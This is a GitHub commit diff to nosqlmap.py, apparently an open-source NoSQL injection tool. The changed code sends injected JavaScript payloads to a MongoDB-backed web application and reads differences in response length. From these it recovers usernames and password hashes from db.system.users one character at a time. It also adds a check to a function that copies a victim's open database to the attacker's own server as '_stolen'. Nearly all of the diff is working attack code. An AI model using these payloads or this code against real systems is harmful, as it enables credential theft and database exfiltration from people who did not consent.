Skip to content

Commit bf0f81b

Browse files
committed
Finish hash extraction, add IP set check for database cloning
1 parent ae0ea27 commit bf0f81b

File tree

1 file changed

+111
-42
lines changed

1 file changed

+111
-42
lines changed

nosqlmap.py

Lines changed: 111 additions & 42 deletions
Original file line numberDiff line numberDiff line change
@@ -968,6 +968,9 @@ def buildUri(origUri, randValue):
968968
uriArray[17] = uriArray[17][:-1]
969969
return uriArray[0]
970970

971+
def buildPostData(body):
972+
print "Post data crap goes here."
973+
971974
def stealDBs(myDB):
972975
menuItem = 1
973976

@@ -986,7 +989,11 @@ def stealDBs(myDB):
986989
#Mongo can only pull, not push, connect to my instance and pull from verified open remote instance.
987990
dbNeedCreds = raw_input("Does this database require credentials (y/n)? ")
988991

989-
if dbNeedCreds == "n" or dbNeedCreds == "N":
992+
if dbNeedCreds == "n" or dbNeedCreds == "N":
993+
if optionSet[4] == False:
994+
raw_input("No IP specified to copy to! Press enter to return to main menu...")
995+
mainMenu()
996+
990997
myDBConn = pymongo.MongoClient(myDB,27017)
991998
myDBConn.copy_database(dbList[int(dbLoot)-1],dbList[int(dbLoot)-1] + "_stolen",victim)
992999

@@ -1008,6 +1015,7 @@ def stealDBs(myDB):
10081015
return()
10091016

10101017
except:
1018+
#print str(sys.exc_info())
10111019
raw_input ("Something went wrong. Are you sure your MongoDB is running and options are set? Press enter to return...")
10121020
mainMenu()
10131021

@@ -1212,62 +1220,123 @@ def getDBInfo():
12121220
charCounterUsr = 0 #position in the character array-Username
12131221
rightCharsUsr = 0 #number of correct characters-Username
12141222
rightCharsHash = 0 #number of correct characters-hash
1215-
charCounterHash = 0
1223+
charCounterHash = 0 #position in the character array-hash
12161224
username = ""
12171225
pwdHash = ""
12181226
charCountUsr = False
12191227
query = "{}"
12201228

12211229
while retrUsers < usrCount:
1222-
if retrUsers == 0:
1223-
while charCountUsr == False:
1224-
#different query to get the first user vs. others
1225-
usrUri = uriArray[16].replace("---","var usr = db.system.users.findOne(); if (usr.user.length == " + str(usrChars) + ") { return true; } var dum='a" + "&")
1226-
lenUri = int(len(urllib.urlopen(usrUri).read()))
1230+
if retrUsers == 0:
1231+
while charCountUsr == False:
1232+
#different query to get the first user vs. others
1233+
usrUri = uriArray[16].replace("---","var usr = db.system.users.findOne(); if (usr.user.length == " + str(usrChars) + ") { return true; } var dum='a" + "&")
1234+
lenUri = int(len(urllib.urlopen(usrUri).read()))
12271235

1228-
if lenUri == baseLen:
1229-
#Got the right number of characters
1230-
charCountUsr = True
1236+
if lenUri == baseLen:
1237+
#Got the right number of characters
1238+
charCountUsr = True
12311239

1232-
else:
1233-
usrChars += 1
1240+
else:
1241+
usrChars += 1
12341242

1235-
while rightCharsUsr < usrChars:
1236-
usrUri = uriArray[16].replace("---","var usr = db.system.users.findOne(); if (usr.user.charAt(" + str(rightCharsUsr) + ") == '"+ chars[charCounterUsr] + "') { return true; } vardum='a" + "&")
1237-
lenUri = int(len(urllib.urlopen(usrUri).read()))
1243+
while rightCharsUsr < usrChars:
1244+
usrUri = uriArray[16].replace("---","var usr = db.system.users.findOne(); if (usr.user.charAt(" + str(rightCharsUsr) + ") == '"+ chars[charCounterUsr] + "') { return true; } var dum='a" + "&")
1245+
lenUri = int(len(urllib.urlopen(usrUri).read()))
12381246

1239-
if lenUri == baseLen:
1240-
username = username + chars[charCounterUsr]
1241-
#print username
1242-
rightCharsUsr += 1
1243-
charCounterUsr = 0
1247+
if lenUri == baseLen:
1248+
username = username + chars[charCounterUsr]
1249+
#print username
1250+
rightCharsUsr += 1
1251+
charCounterUsr = 0
12441252

1245-
else:
1246-
charCounterUsr += 1
1253+
else:
1254+
charCounterUsr += 1
12471255

1248-
retrUsers += 1
1249-
users.append(username)
1250-
#print str(retrUsers)
1251-
#print str(users)
1252-
1253-
while rightCharsHash < 32: #Hash length is static
1254-
hashUri = uriArray[16].replace("---","var usr = db.system.users.findOne(); if (usr.pwd.charAt(" + str(rightCharsHash) + ") == '"+ chars[charCounterHash] + "') { return true; } vardum='a" + "&")
1255-
lenUri = int(len(urllib.urlopen(hashUri).read()))
1256+
retrUsers += 1
1257+
users.append(username)
1258+
#reinitialize all variables and get ready to do it again
1259+
#print str(retrUsers)
1260+
#print str(users)
1261+
charCountUsr = False
1262+
rightCharsUsr = 0
1263+
usrChars = 0
1264+
username = ""
1265+
1266+
while rightCharsHash < 32: #Hash length is static
1267+
hashUri = uriArray[16].replace("---","var usr = db.system.users.findOne(); if (usr.pwd.charAt(" + str(rightCharsHash) + ") == '"+ chars[charCounterHash] + "') { return true; } var dum='a" + "&")
1268+
lenUri = int(len(urllib.urlopen(hashUri).read()))
12561269

1257-
if lenUri == baseLen:
1258-
pwdHash = pwdHash + chars[charCounterHash]
1259-
#print pwdHash
1260-
rightCharsHash += 1
1261-
charCounterHash = 0
1270+
if lenUri == baseLen:
1271+
pwdHash = pwdHash + chars[charCounterHash]
1272+
#print pwdHash
1273+
rightCharsHash += 1
1274+
charCounterHash = 0
12621275

1263-
else:
1264-
charCounterHash += 1
1276+
else:
1277+
charCounterHash += 1
12651278

1266-
hashes.append(pwdHash)
1267-
print "Got user:hash " + users[0] + ":" + hashes[0]
1279+
hashes.append(pwdHash)
1280+
print "Got user:hash " + users[0] + ":" + hashes[0]
1281+
#reinitialize all variables and get ready to do it again
1282+
charCounterHash = 0
1283+
rightCharsHash = 0
1284+
pwdHash = ""
1285+
else:
1286+
while charCountUsr == False:
1287+
#different query to get the first user vs. others
1288+
usrUri = uriArray[16].replace("---","var usr = db.system.users.findOne({user:{$nin:" + str(users) + "}}); if (usr.user.length == " + str(usrChars) + ") { return true; } var dum='a" + "&")
1289+
lenUri = int(len(urllib.urlopen(usrUri).read()))
1290+
1291+
if lenUri == baseLen:
1292+
#Got the right number of characters
1293+
charCountUsr = True
1294+
1295+
else:
1296+
usrChars += 1
12681297

1269-
else:
1270-
print "more users go here."
1298+
while rightCharsUsr < usrChars:
1299+
usrUri = uriArray[16].replace("---","var usr = db.system.users.findOne({user:{$nin:" + str(users) + "}}); if (usr.user.charAt(" + str(rightCharsUsr) + ") == '"+ chars[charCounterUsr] + "') { return true; } var dum='a" + "&")
1300+
lenUri = int(len(urllib.urlopen(usrUri).read()))
1301+
1302+
if lenUri == baseLen:
1303+
username = username + chars[charCounterUsr]
1304+
#print username
1305+
rightCharsUsr += 1
1306+
charCounterUsr = 0
1307+
1308+
else:
1309+
charCounterUsr += 1
1310+
1311+
retrUsers += 1
1312+
#reinitialize all variables and get ready to do it again
1313+
1314+
charCountUsr = False
1315+
rightCharsUsr = 0
1316+
usrChars = 0
1317+
1318+
1319+
while rightCharsHash < 32: #Hash length is static
1320+
hashUri = uriArray[16].replace("---","var usr = db.system.users.findOne({user:{$nin:" + str(users) + "}}); if (usr.pwd.charAt(" + str(rightCharsHash) + ") == '"+ chars[charCounterHash] + "') { return true; } vardum='a" + "&")
1321+
lenUri = int(len(urllib.urlopen(hashUri).read()))
1322+
1323+
if lenUri == baseLen:
1324+
pwdHash = pwdHash + chars[charCounterHash]
1325+
#print pwdHash
1326+
rightCharsHash += 1
1327+
charCounterHash = 0
1328+
1329+
else:
1330+
charCounterHash += 1
1331+
1332+
users.append(username)
1333+
hashes.append(pwdHash)
1334+
print "Got user:hash " + users[retrUsers-1] + ":" + hashes[retrUsers-1]
1335+
#reinitialize all variables and get ready to do it again
1336+
username = ""
1337+
charCounterHash = 0
1338+
rightCharsHash = 0
1339+
pwdHash = ""
12711340

12721341

12731342

@@ -1277,6 +1346,6 @@ def getDBInfo():
12771346
def signal_handler(signal, frame):
12781347
print "\n"
12791348
print "CTRL+C detected. Exiting."
1280-
sys.exit(0)
1349+
sys.exit()
12811350
signal.signal(signal.SIGINT, signal_handler)
12821351
mainMenu()

0 commit comments

Comments
 (0)